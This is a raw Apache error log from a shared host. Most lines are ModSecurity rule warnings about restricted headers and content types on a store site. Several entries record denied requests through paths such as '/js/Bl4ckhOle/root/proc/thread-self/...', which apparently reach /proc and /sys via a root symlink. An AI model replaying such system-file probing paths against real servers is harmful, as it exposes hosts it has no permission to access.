[Fri Jul 17 09:27:22.368763 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/delivery-information"] [unique_id "almoIo-0g_VSPeIeFN3GSAAAAAs"]
[Fri Jul 17 09:27:22.369166 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/delivery-information"] [unique_id "almoIo-0g_VSPeIeFN3GSAAAAAs"]
[Fri Jul 17 09:27:22.631072 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoIo-0g_VSPeIeFN3GSAAAAAs"]
[Fri Jul 17 09:27:22.740214 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:23.144907 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:23.347985 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:23.448635 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:23.654353 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:23.854229 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:23.890463 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/privacy"] [unique_id "almoI7EWOaI5pmYo9fnUqQAAAAA"]
[Fri Jul 17 09:27:23.890559 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/privacy"] [unique_id "almoI7EWOaI5pmYo9fnUqQAAAAA"]
[Fri Jul 17 09:27:23.890877 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/privacy"] [unique_id "almoI7EWOaI5pmYo9fnUqQAAAAA"]
[Fri Jul 17 09:27:23.934918 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:50170] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:24.081124 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoI7EWOaI5pmYo9fnUqQAAAAA"]
[Fri Jul 17 09:27:24.958244 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:50230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:24.991538 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.001795 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.072378 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.176403 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/hpet/uevent
[Fri Jul 17 09:27:25.179957 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:50248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:25.180271 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory19/node0/memory83/subsystem/devices/memory128/node0/memory43/phys_device"] [unique_id "almoJa14q1EBnanVMYGp0gAAAAk"]
[Fri Jul 17 09:27:25.180358 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory19/node0/memory83/subsystem/devices/memory128/node0/memory43/phys_device"] [unique_id "almoJa14q1EBnanVMYGp0gAAAAk"]
[Fri Jul 17 09:27:25.274441 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.421195 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.477690 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.620132 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.689229 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.809252 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.919379 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:25.923120 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/terms"] [unique_id "almoJboj0IkvhSCYadmHtQAAAAQ"]
[Fri Jul 17 09:27:25.923240 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/terms"] [unique_id "almoJboj0IkvhSCYadmHtQAAAAQ"]
[Fri Jul 17 09:27:25.923644 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/terms"] [unique_id "almoJboj0IkvhSCYadmHtQAAAAQ"]
[Fri Jul 17 09:27:25.999433 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 57.141.18.68:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory118/subsystem/devices/memory112/node0/memory21/subsystem/drivers_probe
[Fri Jul 17 09:27:26.085437 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.203636 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.264003 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoJboj0IkvhSCYadmHtQAAAAQ"]
[Fri Jul 17 09:27:26.300719 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.388125 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.490251 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.589662 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.690809 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.893280 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:26.943807 2026] [access_compat:error] [pid 2047046:tid 2047046] [client 95.154.200.41:0] AH01797: client denied by server configuration: /home/askinternational/public_html/README.md
[Fri Jul 17 09:27:26.993557 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.094634 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.195551 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.296132 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.401378 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.453465 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoJ5BVIrrUwtEhdafWzgAAAAU"]
[Fri Jul 17 09:27:27.453600 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoJ5BVIrrUwtEhdafWzgAAAAU"]
[Fri Jul 17 09:27:27.454187 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoJ5BVIrrUwtEhdafWzgAAAAU"]
[Fri Jul 17 09:27:27.506610 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.516148 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.605489 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.700249 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.755452 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoJ5BVIrrUwtEhdafWzgAAAAU"]
[Fri Jul 17 09:27:27.802017 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.848391 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.848455 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:27.902548 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.056967 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.135231 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.135294 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.154544 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.168078 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.309830 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.412552 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.507665 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:28.893298 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:50432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:29.955638 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoKRHlOGcokz2QIwTZHwAAAAM"]
[Fri Jul 17 09:27:29.955754 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoKRHlOGcokz2QIwTZHwAAAAM"]
[Fri Jul 17 09:27:29.956360 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoKRHlOGcokz2QIwTZHwAAAAM"]
[Fri Jul 17 09:27:30.229911 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoKRHlOGcokz2QIwTZHwAAAAM"]
[Fri Jul 17 09:27:31.111052 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory89/subsystem/devices/memory73/subsystem/devices/memory75/node0/cpu3/crash_notes_size
[Fri Jul 17 09:27:31.214208 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:31.215530 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.48.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/10:183/subsystem/autofs/subsystem/mcelog/"] [unique_id "almoK-jME1mgqYZ5O94ruQAAAAE"]
[Fri Jul 17 09:27:31.215561 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.48.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/10:183/subsystem/autofs/subsystem/mcelog/"] [unique_id "almoK-jME1mgqYZ5O94ruQAAAAE"]
[Fri Jul 17 09:27:31.332306 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.55.116:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/1:11/subsystem/kmsg/power/control"] [unique_id "almoK1h1WDijTxd1xw5SMwAAAAc"]
[Fri Jul 17 09:27:31.332343 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.55.116:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/1:11/subsystem/kmsg/power/control"] [unique_id "almoK1h1WDijTxd1xw5SMwAAAAc"]
[Fri Jul 17 09:27:31.349001 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:59774] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:31.955001 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoK1CBpfuYyhJ140vYWQAAAB4"]
[Fri Jul 17 09:27:31.955141 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoK1CBpfuYyhJ140vYWQAAAB4"]
[Fri Jul 17 09:27:31.955689 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoK1CBpfuYyhJ140vYWQAAAB4"]
[Fri Jul 17 09:27:32.160296 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoK1CBpfuYyhJ140vYWQAAAB4"]
[Fri Jul 17 09:27:33.418504 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLbEWOaI5pmYo9fnUsAAAAAA"]
[Fri Jul 17 09:27:33.418632 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLbEWOaI5pmYo9fnUsAAAAAA"]
